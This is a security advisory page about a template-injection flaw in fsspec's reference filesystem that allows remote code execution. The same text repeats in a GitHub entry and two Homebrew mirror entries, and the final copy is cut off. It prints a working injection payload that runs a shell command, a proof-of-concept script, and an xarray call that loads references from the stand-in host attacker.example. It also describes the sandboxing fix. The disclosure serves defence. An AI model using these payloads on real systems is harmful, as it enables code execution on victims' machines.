Action not permitted
Modal body text goes here.
Modal Title
Modal Body
GHSA-27VJ-QCQG-25RC
Vulnerability from github – Published: 2026-10-05 22:53 – Updated: 2026-10-05 22:53Summary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
A — _process_references1._render_jinja |
lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B — _process_templates (lambda) |
lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C — _process_gen |
lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
- A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "fsspec"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "2026.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-104851"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:53:22Z",
"nvd_published_at": "2026-10-02T17:17:03Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n return jinja2.Template(u).render(**self.templates) # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n ...\n for k, v in tmp.items():\n if \"{{\" in v:\n import jinja2\n self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n temp # \u003c- unsandboxed\n ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n ...\n for pr in products:\n import jinja2\n key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n if (\"offset\" in gen) and (\"length\" in gen):\n offset = int(jinja2.Template(gen[\"offset\"]).render(...)) # \u003c- unsandboxed\n length = int(jinja2.Template(gen[\"length\"]).render(...)) # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n \"gen\": [{\n \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.end_headers(); self.wfile.write(body)\n def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n \"reference://\",\n engine=\"zarr\",\n backend_kwargs={\n \"consolidated\": False,\n \"storage_options\": {\n \"fo\": \"http://attacker.example/refs.json\",\n \"remote_protocol\": \"http\",\n },\n },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n import jinja2.sandbox\n env = getattr(_sandboxed_env, \"_env\", None)\n if env is None:\n env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n _sandboxed_env._env = env\n return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
"id": "GHSA-27vj-qcqg-25rc",
"modified": "2026-10-05T22:53:22Z",
"published": "2026-10-05T22:53:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2029"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2039"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/fsspec/filesystem_spec"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution"
}
BREW-ATHENACLI-CVE-2026-104851 (GHSA-27VJ-QCQG-25RC)
Vulnerability from osv_homebrew – Published: 2026-10-06 09:14 – Updated: 2026-10-06 09:14 – Source websiteSummary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
A — _process_references1._render_jinja |
lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B — _process_templates (lambda) |
lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C — _process_gen |
lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
- A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "fsspec",
"resource_purl": "pkg:pypi/fsspec@2026.9.0",
"upstream_fixed_in": "2026.6.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "athenacli",
"purl": "pkg:brew/athenacli"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.8_2"
},
{
"fixed": "1.7.0_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/fsspec@2026.9.0",
"name": "fsspec",
"resource": "fsspec",
"strategy": "registry",
"subject_version": "2026.9.0"
}
]
},
"details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n return jinja2.Template(u).render(**self.templates) # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n ...\n for k, v in tmp.items():\n if \"{{\" in v:\n import jinja2\n self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n temp # \u003c- unsandboxed\n ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n ...\n for pr in products:\n import jinja2\n key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n if (\"offset\" in gen) and (\"length\" in gen):\n offset = int(jinja2.Template(gen[\"offset\"]).render(...)) # \u003c- unsandboxed\n length = int(jinja2.Template(gen[\"length\"]).render(...)) # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n \"gen\": [{\n \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.end_headers(); self.wfile.write(body)\n def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n \"reference://\",\n engine=\"zarr\",\n backend_kwargs={\n \"consolidated\": False,\n \"storage_options\": {\n \"fo\": \"http://attacker.example/refs.json\",\n \"remote_protocol\": \"http\",\n },\n },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n import jinja2.sandbox\n env = getattr(_sandboxed_env, \"_env\", None)\n if env is None:\n env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n _sandboxed_env._env = env\n return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
"id": "BREW-athenacli-CVE-2026-104851",
"modified": "2026-10-06T09:14:07Z",
"published": "2026-10-06T09:14:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2029"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2039"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/fsspec/filesystem_spec"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution",
"upstream": [
"GHSA-27vj-qcqg-25rc",
"CVE-2026-104851"
]
}
BREW-DVC-CVE-2026-104851 (GHSA-27VJ-QCQG-25RC)
Vulnerability from osv_homebrew – Published: 2026-10-06 04:48 – Updated: 2026-10-06 04:48 – Source websiteSummary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
A — _process_references1._render_jinja |
lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B — _process_templates (lambda) |
lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C — _process_gen |
lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
- A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
